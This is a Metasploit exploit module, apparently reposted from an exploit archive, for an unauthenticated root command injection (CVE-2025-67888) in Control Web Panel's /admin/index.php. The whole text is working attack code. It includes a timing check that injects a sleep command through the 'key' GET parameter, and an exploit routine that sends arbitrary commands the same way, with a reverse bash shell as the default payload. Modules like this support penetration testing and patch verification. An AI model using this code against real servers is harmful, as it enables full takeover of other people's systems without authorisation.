Share
## https://sploitus.com/exploit?id=PACKETSTORM:213897
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Control Web Panel /admin/index.php Unauthenticated RCE',
            'Description' => %q{
              Control Web Panel (CWP) versions <= 0.9.8.1208 are vulnerable to
              unauthenticated OS command injection. User input passed via the
              "key" GET parameter to /admin/index.php (when the "api" parameter is set)
              is not properly sanitized before being used to execute OS commands.
              This can be exploited by unauthenticated attackers to inject and execute
              arbitrary OS commands with the privileges of the root user on the web server.
    
              Successful exploitation usually requires "Softaculous" and/or "SitePad"
              to be installed through the Scripts Manager.
            },
            'Author' => [
              'Lukas Johannes MΓΆller', # Metasploit module
              'Egidio Romano' # Vulnerability discovery
            ],
            'References' => [
              ['CVE', '2025-67888'],
              ['URL', 'https://karmainsecurity.com/KIS-2025-09'],
              ['URL', 'https://www.cve.org/CVERecord?id=CVE-2025-67888'],
              ['URL', 'https://control-webpanel.com']
            ],
            'DisclosureDate' => '2025-12-16',
            'License' => MSF_LICENSE,
            'Platform' => ['linux', 'unix'],
            'Arch' => ARCH_ALL,
            'Privileged' => true,
            'Targets' => [
              [
                'Unix Command',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_ALL,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_bash'
                  },
                  'Payload' => {
                    'Encoder' => 'cmd/base64',
                    'BadChars' => "\x00\x20"
                  }
                }
              ],
              [
                'Linux Dropper',
                {
                  'Platform' => 'linux',
                  'Arch' => ARCH_ALL
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'SSL' => true
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          Opt::RPORT(2031)
        ])
      end
    
      def check
        sleep_time = rand(5..10)
    
        print_status("Checking vulnerability with sleep command (waiting #{sleep_time} seconds)...")
    
        res, elapsed_time = Rex::Stopwatch.elapsed_time do
          send_request_cgi(
            'method' => 'GET',
            'uri' => normalize_uri('/admin/index.php'),
            'vars_get' => {
              'api' => '1',
              'key' => "$(sleep #{sleep_time})"
            }
          )
        end
    
        vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds")
    
        return CheckCode::Unknown('No response from server.') unless res
        return CheckCode::Vulnerable("Server waited #{elapsed_time.round(2)} seconds (expected >= #{sleep_time}).") if elapsed_time >= sleep_time
    
        CheckCode::Safe("Server responded in #{elapsed_time.round(2)} seconds (expected >= #{sleep_time}).")
      end
    
      def exploit
        print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    
        case target['Type']
        when :unix_cmd
          execute_command(payload.encoded)
        when :linux_dropper
          execute_cmdstager
        end
      end
    
      def execute_command(cmd, _opts = {})
        vprint_status("Executing command: #{cmd}")
    
        send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri('/admin/index.php'),
          'vars_get' => {
            'api' => '1',
            'key' => "$(#{cmd})"
          }
        )
      end
    end